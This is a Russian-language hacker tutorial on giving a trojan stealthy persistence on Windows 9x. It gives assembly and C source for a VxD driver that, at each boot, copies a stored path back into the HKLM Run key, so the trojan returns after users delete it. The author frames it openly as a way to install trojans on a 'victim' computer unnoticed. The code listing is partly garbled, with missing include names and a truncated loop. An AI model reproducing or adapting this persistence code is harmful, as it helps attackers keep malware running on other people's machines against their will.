И так преступим.Как известно большинство троянцев прописывает себя в реестре,в разделе автозагрузки(HKLM\Software\Microsoft\Windows\CurrentVersion\Run).Но в наше время это уже не является надёжным методом запуска троянца.Как же быть в такой ситуации?Выход напрашивается сам собой,нужно сделать такой метод загрузки,который ещё не известен пользователям ,да и который не бросался бы в глаза.Одним из таких способов является написание некой программы(читай драйвера),который бы ,например, прописывал нашего троянца в реестре каждый раз при загрузке.Такой программой является драйвер устройства в Windows.Я рассмотрю драйвер только для Win9x ввиду того ,что большинство пользователей в настоящее время использует системы именно этого класса.И так в чём же весь смысл.А вот в чём :прописав драйвер один раз в реестре,при установке троянца на компьютер жертвы,(в специальном месте,о котором и не каждый-то продвинутый пользователь знает,не говоря уже о рядовом) мы обеспечим запуск нашего троянца каждый раз после перезагрузки системы(точнее мы просто будем прописывать его в ключе авто запуска в реестре).И так вот исходные текста нашего драйвера.
.386p
;******************************************************************************
;
I N C L U D E
S
;******************************************************************************
WIN40COMPAT equ 1
include vmm.inc
;============================================================================
;
V I R T U A L D E V I C E D E C L A R A T I O
N
;============================================================================
DECLARE_VIRTUAL_DEVICE
CTRL, 1, 0, ControlProc, UNDEFINED_DEVICE_ID,
\
UNDEFINED_INIT_ORDER
VxD_LOCKED_CODE_SEG
;===========================================================================
;
;
PROCEDURE: ControlProc
;
; DESCRIPTION:
;
Device control procedure for the CTRL VxD
;
;
ENTRY:
; EAX = Control call ID
;
;
EXIT:
; If carry clear
then
;
Successful
;
else
; Control call
failed
;
; USES:
; EAX, EBX, ECX, EDX,
ESI, EDI,
Flags
;
;============================================================================
BeginProc ControlProc
Control_Dispatch SYS_VM_INIT,
_OnSysVMInit, cCall,
clc
ret
EndProc ControlProc
VxD_LOCKED_CODE_ENDS
END
#define WIN40COMAPT
#include
#undef
WANTVXDWRAPS
#include
#include
#include
"config.h"
BOOL OnSysVMInit(DWORD vh)
{
VMMHKEY
key;
char data[MAXPATH];
ULONG datasize;
ULONG
i;
if (VMM_RegCreateKey(HKEY_LOCAL_MACHINE
,VXDDATAPATH,&key)!=ERROR_SUCCESS)
return
TRUE;
for (i=0;i
datasize=MAXPATH;
if
(VMM_RegQueryValueEx(key,VALUENAME,NULL,NULL,&data,&datasize)!=ERROR_SUCCESS)
{
VMM_RegCloseKey(key);
return
TRUE;
}
VMM_RegCloseKey(key);
if
(VMM_RegCreateKey(HKEY_LOCAL_MACHINE
,AUTORUNPATH,&key)!=ERROR_SUCCESS)
return
TRUE;
if
(VMM_RegSetValueEx(key,APPNAME,NULL,REG_SZ,&data,datasize)!=ERROR_SUCCESS)
{
// No Freeing needed
}
VMM_RegCloseKey(key);
return
TRUE;
}
Остальные файлы необхадимые для зборки вы можете найти в прилогающемся архиве,в прочем как и уже готовый драйвер.Итак рассмотрим по-подробнее зачем ,что нужно.Файл ctrlddb.asm это всего лишь декларация нашего драйвера через макросы(доступны только для ассемблера),он отвечает всего на одно событие-SysVMInit,это событие посылается всем драйверам ,которые его обрабатывают,когда системная виртуальная машина(в ней работают все Win32 приложения)готова к работе,в это время нам доступен и реестер и всё остальное.Именно в этот момент мы и прописываем нашего троянца в реестер(если пользователь удалил на него ссылку),Строка "#define WIN40COMPAT" говорит компилятору ,что наш драйвер должен быть совместим с Windows95,так как в WIndows98 есть дополнительны сервисы,которых нет в 95.Далее идут необходимые команды подключения заголовков и затем функция,которая реагирует на событие(SysVMInit),в этой функции и делается вся работа.Как вы наверное уже заметили имена всех функций начинаются с VMM_ ,на самом деле это вызовы соответствующих сервисов менеджера виртуальных машин,но для нас это не важно.Синтсксис у этих функций такой же как и у соответствующих функций из Win32 API так,что останавливаться на нём не будем,разберём лучше ,что какая сторка делает. В начале идёт декларация переменных,затем с помощью VMM_RegCreateKey мы открываем подключ в ключе HKEY_LOCAL_MACHINE (может быть любой другой например HKEY_CURRENT_USER)VXDDATAPATH -это адресс подключа где находиться строка ,которую драйверу необходимо прописать в реестре. Далее с помощью VMM_RegQueryValueEx мы читаем переменную из этого ключа с именем VALUENAME (предполагается,что это строкавой параметр,и проверка на это не делается),затем мы закрываем ключ и открываем ключ куда нужно записать то,что му прочитали(имя этого подключа определено в AUTORUNPATH) .Далее мы просто вписываем ранее прочитаное значение в переменную определённую в APPNAME и закрываем ключ.Всё наш троянец в реестре(в AUTORUNPATH появится строка вида "MyTroyan c:\windows\system\troyan.exe" ,где MyTroyan это имя переменной).Обратите внимание,что при любой ошибке функция всёравно возвращает TRUE ,это нужно делать потому,что если мы вернём FALSE система подумает ,что что-то нетак и перезагрузит машину.
Ну вот в принципе и всё,что я хотел рассказать.По всем вопросам и замечанием можете писать мне .
И в заключении традиционно:За использование материала изложенного в данной статье автор ответственности не несёт,используйте на свой страх и риск.
Архив с иходниками прилагаю,вот он.
P.S.:Собрать исходники можно установив Windows98 DDK(Device Development Kit).